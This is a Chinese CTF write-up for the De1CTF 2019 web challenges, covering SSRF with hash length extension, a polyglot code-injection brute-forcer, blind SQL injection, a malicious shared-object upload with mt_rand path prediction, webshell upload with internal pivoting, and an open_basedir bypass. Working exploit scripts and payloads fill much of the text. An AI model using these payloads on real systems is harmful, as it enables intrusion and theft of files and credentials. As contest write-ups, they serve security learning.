实战:2019国际赛De1CTF & Web题解
2019-08-06 11:37:30 Author: www.4hou.com(查看原文) 阅读量:138 收藏

前言

为了去重庆XCTF Final吃火锅,周末就冲了一下De1CTF,以下是本次比赛Web题解。

2019-08-05-10-15-37.png

SSRF Me

拿到题目源码如下:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
    return hashlib.md5(content).hexdigest()
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

观察一下,发现就是个比较裸的SSRF:

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

然后waf如下:

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

同时结合题目告诉我们flag位置:

hint for [SSRF Me]: flag is in ./flag.txt

那么显然只要能任意文件读取,bypass file过滤即可,这里容易想到可以使用local_file:

2019-08-04-10-15-34.png

但是我们发现想要利用scan,要先bypass签名校验:

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

我们跟进getSign():

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

而salt我们知道:

secert_key = os.urandom(16)

所以这明显是一个已知salt长度的hash长度拓展攻击的问题,那么很容易写出脚本如下:

import hashpumpy
import requests
import urllib
url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
    'sign': new_sign[0],
    'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print r.content

2019-08-04-10-23-38.png

9calc

第3次calcalcalc了,不想再分析了,脚本如下:

import requests
# flag1 js
# chr(j),i,chr(j)
data1 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && require('fs').readFileSync('/flag').toString()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag2 python
# i,chr(j),chr(j)
data2 = r'''{"expression":{"value":"1//1 and open('/flag').read()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag3 php
# chr(j),chr(j),i
data3 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".file_get_contents(\"/flag\")[%s];')\n","_bsontype":"Symbol"},"isVip":true}'''
header = {
    "Content-Type":"application/json"
}
url = "http://45.77.242.16/calculate"
res = ''
for i in range(0,20):
print i
for j in range(32,127):
# now_data = data1%(chr(j),i,chr(j))
# now_data = data2%(i,chr(j),chr(j))
now_data = data3%(chr(j),chr(j),i)
r = requests.post(url,data=now_data,headers=header)
if 'ret' in r.content:
res+=chr(j)
print res
break

2019-08-04-10-31-49.png

2019-08-04-10-31-27.png

2019-08-04-10-31-33.png

可以得到flag:

de1ctf{i_hate_bunkatsu_soho}

ShellShellShell

这题有点无语,第一层是N1CTF的题,参考如下链接:

https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

这题再简单说一下思路吧:

1.注入得到管理员密码

2.soapclient发起ssrf

3.进行CRLF头注入登录

4.拿到admin session

我们直接用上述链接中的脚本:

首先生成验证码映射关系:

2019-08-04-10-44-14.png

然后是注入密码:

2019-08-04-10-44-19.png

2019-08-03-18-51-05.png

最后是SSRF拿到admin session:

2019-08-04-10-44-25.png

2019-08-04-10-45-10.png

然后是一个裸上传:

2019-08-04-10-45-28.png

同时提醒我们flag在内网,这里的上传没任何过滤,随便传个小马即可RCE,然后上传代理,扫描内网,得到题目ip:

Nmap scan report for 172.18.0.1
Host is up (0.00031s latency).
Nmap scan report for dockerdir_getshell_1.dockerdir_default (172.18.0.2)
Host is up (0.00022s latency).
Nmap scan report for 29e2e46b7ac1 (172.18.0.3)
Host is up (0.00015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.91 seconds

访问172.18.0.2,得到源码如下:

2019-08-04-10-46-51.png

然后发现似曾相识= =:

2019-08-04-10-47-09.png

那么就用这篇Blog的方式可以轻松解决:

https://skysec.top/2018/11/04/2018%E4%B8%8A%E6%B5%B7%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-web/#web3

cloudmusic_rev

看到是2.0版本,本能搜了一下,发现是2019国赛final的题目,题解如下:

https://github.com/impakho/ciscn2019_final_web1

按照题解思路,可以迅速拿到/lib/parser.so文件:

2019-08-04-10-49-12.png

尝试读取.php的时候,发现有过滤:

2019-08-04-12-03-16.png

但可以用%2e url编码进行绕过:

2019-08-04-12-03-29.png

那么读取关键文件进行diff:

upload.php

2019-08-04-12-01-19.png

利用原题解中的方式进行password leak,发现代码有改变,简单分析发现是off by null,构造:

2019-08-04-15-29-46.png

即可leak password:

admin
22Z2teQgmmLQJLjD

接着diff firmware.php:

2019-08-04-12-02-22.png

2019-08-04-12-02-25.png

发现在firmware中,文件名称做了改动,拼接字符串变成了remote_addr,并且在后面回显版本号的时候,去掉了回显。

也就是说,这道题只能盲打了:

2019-08-04-12-07-23.png

不会再如上图打印执行命令结果了。

按照原题的思路,我们使用如下命令去getflag:

/usr/bin/tac /flag

但是考虑到不能回显,于是我们构造curl带出,编写相应的文件:

2019-08-04-15-24-47.png

预测文件path:

<?php
$seed = strtotime("Sun, 04 Aug 2019 07:16:55 GMT");
for($i=-50;$i<50;$i++)
{
mt_srand($seed+$i);
echo md5(mt_rand()."202.120.234.54")."','";
}
fuzz目录与上传:
import requests
url = 'http://139.180.144.87:9090/hotload.php?page=firmware'
cookies = {
'PHPSESSID':'0khipdkurln3q6a4tli9t7v38o'
}
def upload():
f = open('exp.so','rb')
firmware = f.read()
files = {'file_data': firmware}
data = {'file_id': '0'}
r = requests.post(url=url, data=data, files=files,cookies=cookies)
if '"status":1' in r.content:
return r.headers
def fuzz_path(path):
data = {
'path':path
}
r = requests.post(url=url, data=data, cookies=cookies)
print r.content
if 'loading firmware' in r.content:
print path
r = upload()
print r
seed_list = ['8674e9e3b1f875549154d6e67275f996','df6dfa987283ffb730857170b5d43128','541c571155c89cd4e183b4b17cb15f58','6ec428a2d4228ef2378d38e0902cb8ab','e1badd072582c8e7aae04c3ee7e77dae','539276560804530afc08eb2499e0b865','6a2bd9ce496568d210e0a9c0d25b4dfb','c18761d54636950afddf19841d7d89b0','5e40c2d36b72330faec9ae8cc8728365','e5fdd8f158a6953e088abc2915ab211a','1d1952993a48af0128eaf6da5f32676b','9a189fabc6147d2f894468a657edf5b9','d255c575bf2b8d2af0f44f520a09369b','0a056867908b10edff7fc312d4798622','e537949893013ab3163806171bae5735','13f95e9313bfe44e8f80fa42980c1bc3','8aad66d7c84981b96d31760027c4ccd1','b47097b9846a8c83499d4342de33db31','82f720249f5b6c1c9faffc7a5ec93ebc','611c45a5ff023134e3034d1fd6de2248','04491f0cc963af38fac5752070608a34','8de0681a471bfb5868a843fa489864a3','83ffca4f8f927a2d4615e677b2b4b44c','55d9cbcf35c57ffb7dbc10a91490fe59','f38692e68e3628541adb02f4688804d1','19baad3d00d52e65f80a8593b4ba255d','1e4355a0829c2c740fa71ec49c8fa02a','8eb1d6fdc6bf3c774cddc76ab3868fb1','0e6d3172d8be061d7a4abf3e167574be','c7dc7167891bfa24d8e68fae459b643e','7d272df00c853691d3fcac63df650984','dcc78a64935d765ccda0813173a2cd16','f3ec93c54a6ca1719a467fade49ee233','f4974c648bead1faaca6f8fe38dcd3f2','519886b669fef5706ff30dd95ca48997','3db6f01c8d159dba6356ce0c2e337f30','502d5dc2723468c378d721bb1e868191','fa1df40a8ac9d237955d3e4c22cb4b45','04e0c4e04a675b45fad3ffaddfd9040c','efcbd1b16518f2bf91b958af269c030b','9409d27de31a6dd2550f8b9e1ae3aba9','6743ff069733273efa1cd624e431983e','92aa4fe93a448a1677d9782e5f81e62d','d309f564f9e116b1a69555d0f9fef3a8','1a16f4e59332688eea6e28677d5ac141','700cb511e95356b8b2877b79d01ad054','b3d8b293864a1621d889daca93bb4812','6b7d6adab9ed716b013f8fcc027bf314','ad689aa5e736a5b16564534e5b890e1f','f53152e6de1c50be961696c529872313','38e397ff4154ca8b1574d6f6c15f860e','0b800d7e01ee2bfe9cd7c3a113127ca0','856500703f201b2b2391ad11a764dc7e','88a7336ae95aa16de1c1104fb4f21b8a','f6c4c31982540d11a4885689b97cf3a4','99db02fc851509e4b32e74837d6016dd','bf63960fa6f4a4a08a33f9ce403c4fba','5910dd2743cc3b62e9ca4a4f5158b192','311b24e5788e747db2e479f7e22b7873','8322ab2861f27f19544f095978096f89','8bbe576e9e77d23631303ea2a04945e2','30c3afeed3110d63a9b9655ad85798a4','fab6fb7271b1e19ef47cd106df0df361','8fb438550190c9739d0f00e8cfcd9bd3','f4160f3b5400f9aeb03ffbcd3223af1b','240716ddb36b83dfe6d898ff3bfbe59b','8df5da70fa1004206502c60bb00b188d','513154bb13bbcd82fae47c9163c834cb','248a1a48cc311247505ad4e366c17913','57ee7af50ab35086d89ed3812cc4b922','56d1ae03f68465af760bebe3293d3f96','750d7d5423b613fbc8e9a20cc096a9c2','e722b86026e105dc33f568cbf65c8dc2','58e951f616b7828781abd35aaf3c2fad','6f940887eccffea62552d9d1579c34fe','cc615bb9a427a545bfb4c5aa6bb7e873','67a38d3d9f9a83300a31078a84e7bc6b','abb9c0849d11bd316db61bbef5de2522','3730b7a1430756cf80ef2ed80f334a3d','8129b4b2bb3cbe6f5cb7f4879267460b','f4c1d2ac6dc6369c828a8b2c6e4b8b6e','eec7163c18052f4d2844fc8a55200882','6715685e28f1da676cb6baa2da283ee5','5171458efb3e8fe0b6451d92022985c5','066253bcf4518a1ae34b5a6087547b3f','bc473690484a0e4095ff4861b865bf5d','87d32b90d517565857180baf8f78e67b','eab88164ddeffdf69450a1c8f63d2745','daa626adb92cc1676f5b361e39f2e300','c87a4851696eba43b471792cd7faa13d','399200ad28d61daf4b38309ed5f5f4ac','b75c53b9d349003f7dc5c04b00231184','4d8b7016cd85b5170bc1e2e9ee52ee71','8b844fa17339dcccb9ee471078fec5f2','91dfa5f1c6da365f7c6238713988c48b','1147948d33ade9b9dab90c313a8fd519','4363f8a2d8118f65a8e8311296246393','48bcc07d28e368d7d8d9798369398312','2a205e44d4222bdded0369b0623cad85','8101cc7c376b9404ad99c2a2b41d236c']
for i in seed_list:
fuzz_path(i)

爆破一轮后,成功获得path,拿到flag:

2019-08-04-15-19-27.png

Giftbox

题目拿到后,发现会往shell.php发ajax请求,并带有随机数,同时观察命令:

2019-08-05-10-08-06.png

发现有login,于是发现注入,写出脚本注出密码:js

async function ajax(username) {
    return new Promise(function (resolve, reject) {
        let ajaxSetting = {
            url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`,
            type: "GET",
            dataType: 'json',
            success: function (response) {
                resolve(response);
            },
            error: function () {
                reject("请求失败");
            }
        }
        $.ajax(ajaxSetting);
 
    });
}
async function test(username) {
    const res = await ajax(username);
    return res.message
}
async function blind() {
    let ret = ""
    for(let j = 1; j < 100; j++) {
        for(let i = 0x20; i < 0x7f; i++) {
            //表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`)
            //列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`)
            const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`);
            if(message == 'login fail, password incorrect.') {
                ret += String.fromCharCode(i);
                console.log(ret)
                break;
            }
        }
        console.log(`${j}: ${ret}`)
    }
    return ret;
}

密码为:

hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

2019-08-05-10-10-23.png

发现就是eval的sandbox逃逸,而测试发现,过滤了大量的特殊符号,但可利用trick,如下:

2019-08-05-10-12-02.png

同时花括号可以代替中括号:

$_GET[sky]  =  $_GET{sky}

那么可以构造出如下exp:

targeting a _GET
targeting b sky
targeting c {${$a}{$b}}
targeting d ${eval($c)}

然后发包的时候带上sky参数即可RCE:

launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('/*'));")

2019-08-05-10-05-59.png

launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(readfile('/flag'));")

2019-08-05-10-06-22.png

后记

De1CTF的Web还是比较简单的,如果有更多解法请留言交流~


文章来源: https://www.4hou.com/web/19553.html
如有侵权请联系:admin#unsafe.sh